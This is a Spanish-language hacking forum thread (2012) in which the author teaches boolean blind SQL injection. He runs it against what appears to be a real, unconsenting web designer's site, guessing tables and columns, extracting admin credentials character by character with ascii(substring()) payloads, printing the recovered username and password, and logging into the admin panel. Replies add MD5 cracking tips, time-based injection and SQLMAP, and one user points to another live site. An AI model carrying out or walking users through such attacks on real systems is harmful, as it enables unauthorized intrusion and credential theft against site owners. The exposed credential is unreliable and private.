comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Blind SQLi desde cero [SQLi a ciegas] by ANTRAX

  • 20 Respuestas
  • 9477 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Junio 30, 2012, 08:04:55 pm »
Introducción:
Hola a todos los lectores, en este Nuevo paper vamos a ver la Blind SQLi, como es, para que sirve y como emplearla. Intentare explicarlo lo mejor posible y con un ejemplo para que puedan guiarse mejor. Aclaro que este tutorial está hecho con fines educativos y no destructivos. No me hago responsable del mal uso que puedan darle.

¿Qué es Blind SQLi?
Blind SQLi o Ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.
Para este paper usaremos la siguiente url como ejemplo: You are not allowed to view links. Register or Login


Como se puede ver, es de alguien que diseña websites, vamos a ver que tal es el servicio que ofrece…
Para saber si es o no vulnerable, debemos buscar algún sitio en donde haga peticiones a la bd para poder inyectar. Yo probare usando esto: You are not allowed to view links. Register or Login


Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos o falsos de los que hablamos anteriormente.
Lo que debemos hacer es añadirle a la url esto:

AND 1=1    >> Verdadero
AND 1=0    >> Falso


O sea que si tenemos la url: You are not allowed to view links. Register or Login
Para el caso verdadero seria: You are not allowed to view links. Register or Login AND 1=1
Para el caso falso seria: You are not allowed to view links. Register or Login AND 1=0
Veamos como afecta esto en la visualización de la página…
Verdadero:


Falso:


Como se puede ver, el caso falso no carga nada…
Existen variables al AND como lo es el having

Verdadero >> Having 1=1
Falso >> Having 1=0

Entre otros… Pero nosotros usaremos el AND para no complicarnos tanto…
Ahora vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a nosotros nos interese. En este caso, yo quiero encontrar alguna tabla de usuarios o administradores para poderme loguear.
Comencemos…
A nuestra url le vamos a añadir:

AND (SELECT(COUNT(*)) FROM usuarios);

Debería quedar así:

You are not allowed to view links. Register or Login AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el número de filas que tenga una tabla.
Con esto haremos la consulta para saber si la tabla usuarios existe o no


Falso… Debemos seguir probando, hasta que algún nombre que coloquemos de verdadero.
Después de probar varias veces, logre dar con el nombre de la tabla que tiene información valiosa. El nombre de esta tabla es admin y como se ve en la imagen, me volvió a mostrar el contenido, esto quiere decir que es Verdadero.


Ahora veremos cuantos registros tiene esta tabla. O sea cuantos usuarios admines tiene esta página. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7
Esto quiere decir que hay más de 7 admines

AND (SELECT(COUNT(*)) FROM admin) < 7
Menos de 7 admines

AND (SELECT(COUNT(*)) FROM admin) = 7
Hay 7 admines

En mi caso me dio Verdadero el Segundo caso… Hay menos de 7 admines.


Sigo probando bajando la cantidad, hasta que finalmente puedo adivinar cuantos registros hay.
En este caso solo hay 1 solo admin. Si coloco:

AND (SELECT(COUNT(*)) FROM admin) = 1
Me dará Verdadero

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde “name” será el nombre de la columna que intento adivinar


Falso…
Después de probar varias veces, llegue a que el nombre de una de las columnas se llama “user”


Ahora deberíamos seguir probando, hasta dar con el nombre de la columna de la tabla que contiene las contraseñas, ids, entre otras que pueden ser de valor para nosotros... Después de probar con varios nombres como password, passwords, clave, etc… llegue al punto en que me dio verdadero al colocar “pass” y también al colocar “cod”

AND (SELECT(COUNT(pass)) FROM admin)
AND (SELECT(COUNT(cod)) FROM admin)


Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o código, usuario y contraseña.
Ahora veremos como saber que longitud tiene el usuario y la contraseña, esto lo hacemos para saber cuantos caracteres tiene el user y la pass.
Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

Explico la línea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user. En donde el cod sea 1. Traducido de forma más fácil, lo que hace esta línea es ver si el usuario tiene menos de 7 caracteres. Y en este caso me da falso…


Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) > 7

Para saber si la contraseña tiene más de 7 caracteres, y nuevamente me da falso… esto quiere decir solo una cosa… que la contraseña tiene 7 caracteres. Asique probare poniendo:

AND (SELECT length(user) FROM admin where cod=1) = 7

Y como se puede ver… VERDADERO!!


Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restaría ver cuantos caracteres tiene la contraseña… La inyección es la misma que la que usamos, solo que modificamos user por pass
En mi caso, me dio verdadero que esta inyección:

AND (SELECT length(pass) FROM admin where cod=1) = 7
Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno.
Para ello se utiliza la siguiente inyección.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la linea, lo que hace esta inyección es verificar si la primer letra del usuario empieza con “a”. ¿En dónde me fijo esto? En la siguiente tabla:


Ahí vemos que el 97 corresponde a la letra a.
Seguimos probando, hasta que nos dé Verdadero.
Después de probar un rato, llegue a que comienza con “G”

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71


Para pasar al segundo carácter del usuario, debemos cambiar el ,1,1 por ,2,1 Esto sería como decir, el segundo carácter del primer registro. En mi caso me dio verdadero al probar con la letra “r”

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo pero con la contraseña modificando el “user” por “pass” por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando carácter por carácter, hasta volver a obtener todos, Recuerden ir cambiando el ,1,1 por la posición que desean comprobar.
Una vez que finalicen, tendrán el usuario y la contraseña. En mi caso:

User: Gregory
Pass: geg*12a


Ahora si buscamos el panel de admin y probamos los datos:


Y… Estamos adentrooo!!


Bueno, esto fue todo por ahora, espero que hayan podido entender cada uno de los pasos y que les haya resultado útil para aprender la inyección a ciegas.


Desconectado Dedalo

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 0
  • KUSH
    • Ver Perfil
    • Twitter Personal
  • Twitter: https://twitter.com/SeguridadBlanca
« Respuesta #1 en: Junio 30, 2012, 08:11:38 pm »
Está excelente Antrax muy bien explicado... deberíamos recalcar que los passwords muchas veces están en MD5.


Saludos,
Dedalo
You are not allowed to view links. Register or Login

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Junio 30, 2012, 08:15:04 pm »
Claro, gracias por la aclaracion, pero seguramente se daran cuenta de ello cuando miren el tamaño de la password. Cuando coloquen algo como:

AND (SELECT length(pass) FROM admin where cod=1) = 32

y les de verdadero, es por que es un hash en MD5, ya que este posee 32 digitos


Desconectado Dedalo

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 0
  • KUSH
    • Ver Perfil
    • Twitter Personal
  • Twitter: https://twitter.com/SeguridadBlanca
« Respuesta #3 en: Junio 30, 2012, 08:15:58 pm »
es lo primero que normalmente yo hago para saber si está encriptada.


Saludos,
Dedalo
You are not allowed to view links. Register or Login

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« Respuesta #4 en: Junio 30, 2012, 09:18:09 pm »
Muy bueno el tutorial.

Les va a servir a mas de uno

Saludos

Desconectado k43l

  • *
  • Underc0der
  • Mensajes: 119
  • Actividad:
    0%
  • Reputación 0
  • white & black hacking
    • Ver Perfil
    • White And Black Hacking
« Respuesta #5 en: Junio 30, 2012, 10:33:25 pm »
Tengo una pequeña pregunta, en caso de que el pass este en md5, me imagino que ahi se acabo todo, porque no creo que nos de por probar los 32 caracteres del password
o me equivoco??




"Mess with the best, die like the rest"

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #6 en: Junio 30, 2012, 10:37:04 pm »
En realidad de eso se trata... deberias probar los 32 digitos, y una vez que tengas la cadena, desencriptarla...


Desconectado erikms83

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #7 en: Junio 30, 2012, 10:49:50 pm »
Quizá sea muy básica mi pregunta pero como podríamos desencriptar un hash de MD5? Existe alguna herramienta que nos ayude a este proceso? Muchas gracias por la ayuda, y por cierto EXCELENTE TUTO

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #8 en: Junio 30, 2012, 10:51:19 pm »
Claro, You are not allowed to view links. Register or Login pasate por ese post


Desconectado erikms83

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #9 en: Junio 30, 2012, 11:13:12 pm »
Excelente muchas gracias !!! Una pregunta mas Saben cuales son los hashes mas utilizados y sus caracteristicas para identificarlos?

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #10 en: Junio 30, 2012, 11:14:51 pm »
Underc0de posee una tool online desarrollada por Yoya

You are not allowed to view links. Register or Login

Es un identificador de hash, solo colocas el hash ahi, y te dice que encriptacion tiene.

Saludos!


Desconectado erikms83

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #11 en: Julio 01, 2012, 12:22:12 am »
Nuevamente excelente!!! Gracias por tu ayuda

Desconectado Dedalo

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 0
  • KUSH
    • Ver Perfil
    • Twitter Personal
  • Twitter: https://twitter.com/SeguridadBlanca
« Respuesta #12 en: Julio 01, 2012, 01:15:45 pm »
You are not allowed to view links. Register or Login
Tengo una pequeña pregunta, en caso de que el pass este en md5, me imagino que ahi se acabo todo, porque no creo que nos de por probar los 32 caracteres del password
o me equivoco??


igual y la blindsqli que ha hecho antrax aquí es muy básica en true y false... hay otras que son Time Based... que tienes que usar Sleep() para ver si son reales o no y pues muchas veces son en sha-1 así que yo te recomendaría que para blind sqli uses SQLMAP inclusive si fuesen encriptadas como en wordpress o joomla con algún salt te demorarías un monton...



Saludos,
Dedalo
You are not allowed to view links. Register or Login

Desconectado k43l

  • *
  • Underc0der
  • Mensajes: 119
  • Actividad:
    0%
  • Reputación 0
  • white & black hacking
    • Ver Perfil
    • White And Black Hacking
« Respuesta #13 en: Julio 01, 2012, 03:06:12 pm »
ok, gracias por las respuestas aunque la verdad me parece moroso jeje estar haciendo eso manualmente sin embargo es bastante interesante y se aprende mucho, voy a utilizar la herramienta que me dijiste Dedalo
salu2




"Mess with the best, die like the rest"

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« Respuesta #14 en: Julio 01, 2012, 04:42:02 pm »
Impresionante tuto ANTRAX, me ha encanto, muy didactico  ;D

-Saludos-

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 412
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #15 en: Julio 02, 2012, 12:34:29 am »
Muy buen Aporte, exelente! muy bien explicado!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado Kolibri26

  • *
  • Underc0der
  • Mensajes: 62
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #16 en: Diciembre 10, 2013, 05:53:09 pm »
Tutorial muy interesante y recomendado Antrax. Excelente!

Una pregunta, por lo que veo esta página web está protegido contra el SQLi verdad? Al ponerle el AND 1=1 parece que da un falso.
You are not allowed to view links. Register or Login
« Última modificación: Diciembre 11, 2013, 06:43:17 am por Kolibri26 »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #17 en: Diciembre 10, 2013, 07:00:01 pm »
Pero eso es HTML, el SQLi se usa en php y asp
Saludos!
ANTRAX


Desconectado Kolibri26

  • *
  • Underc0der
  • Mensajes: 62
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #18 en: Diciembre 11, 2013, 06:45:43 am »
Disculpa Antrax por el error, lo URL que quería poner era la de su tienda online:
You are not allowed to view links. Register or Login

Saludos y gracias de nuevo.

Desconectado meteor0

  • *
  • Underc0der
  • Mensajes: 66
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #19 en: Julio 16, 2014, 03:10:44 pm »
Muy buen post.. pero se tiene que contar con tiempo me gusto bastante..

 

¿Te gustó el post? COMPARTILO!



Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 1850
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Videos Metasploit desde básico hasta avanzado

Iniciado por dvdr

Respuestas: 24
Vistas: 18945
Último mensaje Abril 28, 2016, 11:40:55 am
por Satyricon
Analisis de un Buffer Overflow desde codigo muerto

Iniciado por PerverthsO

Respuestas: 1
Vistas: 1642
Último mensaje Junio 02, 2015, 07:24:05 am
por .:UND3R:.
Desde una webshell hasta la cocina - By p0is0n-123

Iniciado por Pr0ph3t

Respuestas: 3
Vistas: 2488
Último mensaje Septiembre 22, 2012, 01:34:26 pm
por zoro248
Subir Shell desde la Administración de un foro SMF

Iniciado por Rootscale

Respuestas: 2
Vistas: 3565
Último mensaje Junio 28, 2012, 12:00:20 am
por hdbreaker